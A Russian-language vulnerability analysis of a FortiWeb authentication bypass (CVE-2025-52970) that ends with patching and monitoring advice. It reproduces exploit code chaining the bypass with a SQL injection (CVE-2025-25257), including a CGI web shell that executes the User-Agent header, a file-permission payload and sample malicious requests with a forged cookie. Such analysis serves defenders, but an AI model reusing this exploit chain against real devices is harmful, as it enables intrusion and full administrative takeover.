Уязвимость BDU:2025-09849 (CVE-2025-52970) FortiWeb
Уязвимость BDU:2025-09849 (CVE-2025-52970) в межсетевом экране веб-приложений FortiWeb связана с неправильной обработкой параметров cookie, что позволяет удаленному злоумышленнику полностью обойти аутентификацию и получить административные привилегии на устройстве. Уязвимость затрагивает версии FortiWeb 7.6.3 и ниже, 7.4.7 и ниже, 7.2.10 и ниже, а также 7.0.10 и ниже.
Анализ уязвимости
Уровень опасности: 8.1 (Высокий) по шкале CVSS 3.1
Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сеть) - Атака может быть выполнена удаленно через сеть.
-
AC:H (Сложность атаки: Высокая) - Для успешной атаки требуются специфические условия и непубличная информация об устройстве и целевых пользователях.
-
PR:N (Уровень привилегий: Не требуются) - Атака не требует аутентификации или специальных привилегий.
-
UI:N (Вовлечение пользователя: Не требуется) - Атака не требует взаимодействия с пользователем.
-
S:U (Область воздействия: Не изменяется) - Уязвимость воздействует только на целевой ресурс и не затрагивает другие компоненты.
-
C:H (Влияние на конфиденциальность: Высокое) - Возможность получения полного доступа к конфиденциальной информации.
-
I:H (Влияние на целостность: Высокое) - Возможность полного нарушения целостности данных системы.
-
A:H (Влияние на доступность: Высокое) - Возможность полного нарушения доступности системы.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо соблюдение нескольких условий:
-
Доступ к сети управления устройством: Злоумышленник должен иметь сетевой доступ к панели управления FortiWeb (обычно на портах 443, 8443 или других настраиваемых портах).
-
Наличие активной сессии целевого пользователя: Атака требует, чтобы целевой пользователь (включая администратора) имел активную сессию в момент эксплуатации уязвимости.
-
Непубличная информация об устройстве: Для формирования корректного cookie требуется знание определенных параметров устройства, которые могут быть получены через другие уязвимости или методы разведки.
-
Подбор числового параметра: Требуется подбор небольшого числового значения (обычно до 30), используемого в механизме проверки сессии.
Технический механизм уязвимости
Анализ механизма обработки cookie
Сессионные cookie в FortiWeb состоит из трех компонентов:
-
Era: Параметр, определяющий тип сессии
-
Payload: Зашифрованные данные сессии, содержащие информацию о пользователе, роли и других атрибутах
-
AuthHash: HMAC-SHA1 хэш, подписывающий зашифрованный Payload с использованием того же ключа, что и для шифрования
Пример cookie:
APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=WBMi/LiqL9kMv5cas1WGGllbY2ehe9N98VN6szVLYhAfcAC+SFOpkVw5AbY2SgKP%0aEmAhJuYrSgJOaIPBUmz2rk/+fDhHldpZ8SGBG3NaeB2Rajs2rcsHwQ==%0a&AuthHash=Bnbx+Plvdm9anOc2zabqhFZR36U=%0a
При обработке cookie сервер выполняет следующие шаги:
-
Выбирает секретный ключ на основе значения
Eraиз массива в общей памяти -
Расшифровывает
Payloadс использованием выбранного ключа -
Проверяет
AuthHashс использованием того же ключа и зашифрованного текста
Уязвимость возникает из-за отсутствия должной проверки параметра Era, что позволяет установить произвольный индекс за пределы ожидаемых значений (0 или 1). Это приводит к чтению за пределами выделенной памяти (out-of-bounds read) и может заставить сервер использовать нулевой или предсказуемый ключ для шифрования и подписи HMAC.
Математическая модель уязвимости
В нормальных условиях вероятность выбора конкретного ключа k из пространства ключей размером 2^n составляет:
Pr[K=k] = 1/(2^n)
Из-за уязвимости ключ фиксируется в нулевом значении:
Pr[K=000...0] = 1
Это полностью удаляет энтропию из пространства ключей, делая сессионные cookie предсказуемыми и подделываемыми 1.
Анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит сочетает в себе обход аутентификации через CVE-2025-52970 и удаленное выполнение кода через CVE-2025-25257 (SQL-инъекция).
Класс SQL-инъекции
Основной механизм инъекции реализован в классе SQLInjection:
class SQLInjection:
def __init__(self, target: str):
self._target = target
self._buggy_api = '/api/fabric/device/status'
def inject_sql(self, injection: str) -> bool:
headers = {
"Authorization": f"Bearer ';{injection}"
}
dst_url = urljoin(self._target, self._buggy_api)
try:
r = requests.get(dst_url, headers=headers, verify=False)
rc = r.status_code == 401 # 401 указывает на успешную SQL-инъекцию
except Exception as e:
rc = False
return rc
Технический анализ:
-
Вектор атаки: HTTP-заголовок
Authorization: Bearer -
Инъекционная точка: Символ
';для завершения строки и начала инъекции -
Обход фильтров: Использование
/**/вместо пробелов для обхода ограничений парсера -
Индикатор успеха: Код ответа 401 указывает на успешную инъекцию
Механизм RCE
Класс RCE расширяет функциональность SQL-инъекции для достижения удаленного выполнения кода:
class RCE(SQLInjection):
def __init__(self, target: str):
super().__init__(target)
self._target = target
self._buggy_api = '/api/fabric/device/status'
self._pyhook_path = '/cgi-bin/ml-draw.py'
# Полезная нагрузка для изменения прав доступа
self._chmod_file = ""
self._chmod_file += "import os # \r\n"
self._chmod_file += "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"
# WebShell для выполнения команд
self._webshell = ''
self._webshell += '#!/bin/sh -- \r\n'
self._webshell += 'printf "Content-Type: text/html\\r\\n";printf "\\r\\n";eval $HTTP_USER_AGENT'
Технический анализ:
-
Использование Python-хука: Создание файла
pylab.py, который автоматически загружается механизмом Python при импорте -
WebShell: CGI-скрипт, выполняющий команды из заголовка
User-Agent -
Обход ограничений: Использование механизма
.pthфайлов Python для выполнения произвольного кода
Процесс загрузки WebShell
Метод upload_webshell реализует полную цепочку от SQL-инъекции до записи файлов:
def upload_webshell(self) -> bool:
self._reset_tables()
parts = self._split_payload(self._webshell)
for part in parts:
print(f'[*] writing part {part}')
self.inject_sql(
f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')
print('[>] writing webshell file')
self.inject_sql(
"select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")
Технический анализ:
-
Разделение payload: WebShell разделяется на части по 16 байт для обхода ограничений на длину SQL-запросов
-
Шестнадцатеричное кодирование: Использование
binascii.hexlify()для избежания проблем со специальными символами -
Запись в файл: Использование оператора
INTO OUTFILEдля записи payload в файловую систему -
Обход экранирования:
FIELDS ESCAPED BY ''отключает экранирование специальных символов
Пример вредоносного запроса
Вредоносный HTTP-запрос для эксплуатации уязвимости выглядит следующим образом:
GET /api/fabric/device/status HTTP/1.1 Host: target:8443 Authorization: Bearer ';drop/**/table/**/fabric_user.a;--
Или для обхода аутентификации через CVE-2025-52970:
GET /api/v2.0/system/status.systemstatus HTTP/1.1 Host: target:8443 Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=9&Payload=o2IFGFubw+ikCQE0GZWk6lPHLqTEwZHmcHf2IRwBV9oIgaubXxdeKkX9zNBcYa0KOQF2H+80IJFezE/0Ric8bq31olXD5woq0tIdUwYx9a8=&AuthHash=6dqtHqF070L2M5Jm/jvrZ+hDSyg=
Методы защиты
1. Обновление программного обеспечения
Самым эффективным способом защиты является немедленное обновление до исправленных версий:
-
FortiWeb 7.6.* → версия 7.6.4 или выше
-
FortiWeb 7.4.* → версия 7.4.8 или выше
-
FortiWeb 7.2.* → версия 7.2.11 или выше
-
FortiWeb 7.0.* → версия 7.0.11 или выше
2. Сегментация сети и контроль доступа
-
Изоляция интерфейса управления: Ограничение доступа к панели управления FortiWeb только доверенным IP-адресам или сегментам сети
-
Минимальные привилегии: Применение принципа наименьших привилегий для учетных записей, имеющих доступ к устройству
-
Многофакторная аутентификация: Включение MFA для всех учетных записей с правами администратора
3. Мониторинг и обнаружение аномалий
-
Мониторинг аутентификации: Включение детального логирования всех событий аутентификации и проверка подозрительных попыток входа
-
Обнаружение аномалий cookie: Внедрение правил для обнаружения нестандартных значений параметра
Eraв cookie -
Мониторинг файловой системы: Отслеживание создания или модификации файлов в директориях
/cgi-bin/,/migadmin/и/var/log/lib/python3.10/